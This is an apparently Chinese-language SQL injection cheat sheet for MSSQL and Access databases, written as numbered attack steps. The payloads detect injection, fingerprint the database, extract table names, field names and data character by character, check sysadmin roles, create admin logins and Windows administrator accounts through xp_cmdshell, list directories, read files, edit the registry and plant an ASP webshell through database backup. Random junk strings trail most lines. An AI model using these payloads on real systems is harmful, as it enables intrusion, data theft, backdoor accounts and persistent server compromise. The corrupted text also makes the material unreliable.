1.判断是否有注入;and 1=1 ;and 1=2 ]5cT cX;Z#
2.初步判断是否是mssql ;and user>0 Uc>lGo1j
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3.注入参数是字符'and [查询条件] and ''=' 4"ZP 'I;
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' G!##X: 6'
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5.判断数据库系统 VQ@
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;and (select count(*) from sysobjects)>0 mssql Y|qTyE%
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;and (select count(*) from msysobjects)>0 access ?j.,Nw4FC
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 @
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 JR|ck=tq
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 HJH{nz'Lw
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9.(1)猜字段的ascii值(access) >:!5*E5?
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 M_f:A
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(2)猜字段的ascii值(mssql) T>Z<]s
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \@zHON(
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10.测试权限结构(mssql) Fo_sgv8O<
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Zx@a/jLO[n
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- gD?l-RT>
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- .<FH>NW)
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- j$:~Rek
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3"e,qY
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- xo&_bMO
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;and 1=(select IS_MEMBER('db_owner'));-- b%`1cV
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11.添加mssql和系统的帐户 WH} y"W
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;exec master.dbo.sp_addlogin username;-- ^CX6&d
;exec master.dbo.sp_password null,username,password;--
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ?l )[7LR4
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;exec master.dbo.xp_cmdshell 'net user username password _{KG
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- dn3y\
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Fxz"DZY6
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~
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12.(1)遍历目录 *)Zdz9E'1(
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;create table dirs(paths varchar(100), id int) >GRxHK@G
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;insert dirs exec master.dbo.xp_dirtree 'c:\' S\=Nn7"
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;and (select top 1 paths from dirs)>0 a=2%4Wmz
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
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(2)遍历目录 _D tV
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5j(k:a+!H
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ~>|ziHx
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %h@EP[\
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 e7 o.xR
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 K0>zxqY
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13.mssql中的存储过程 sgFEK[w.y
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xp_regenumvalues 注册表根键, 子键 ]a`$LW}
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 WsB ?C&>x
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xp_regread 根键,子键,键值名 >[#f\bG>
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ygcm|PrS
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xp_regwrite 根键,子键, 值名, 值类型, 值 upmx $H>
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 o]V^};B
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 t6c4+D'{].
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xp_regdeletevalue 根键,子键,值名 B+`g>h
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ob]w;"
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 h*\%vr
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14.mssql的backup创建webshell 8s@3hXD&
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create table cmd(str image); ;uGv:$([g
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insert into cmd(str) values (''); +}AI@+
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backup database model to disk='c:\l.asp'; ]SEZaT
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15.mssql内置函数 <P<z N~i9j
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;and (select @@version)>0 获得Windows的版本号 4xj4=C~i
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa h";L
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;and (select user_name())>0 爆当前系统的连接用户 ca9X19NG
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;and (select db_name())>0 得到当前连接的数据库 {!`6zBsP
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16.简洁的webshell Fr-SvsNFB
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use model p#tI;"\y
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create table cmd(str image); zt%Mx>V@
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insert into cmd(str) values (''); pgo$61
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backup database model to disk='g:\wwwtest\l.asp';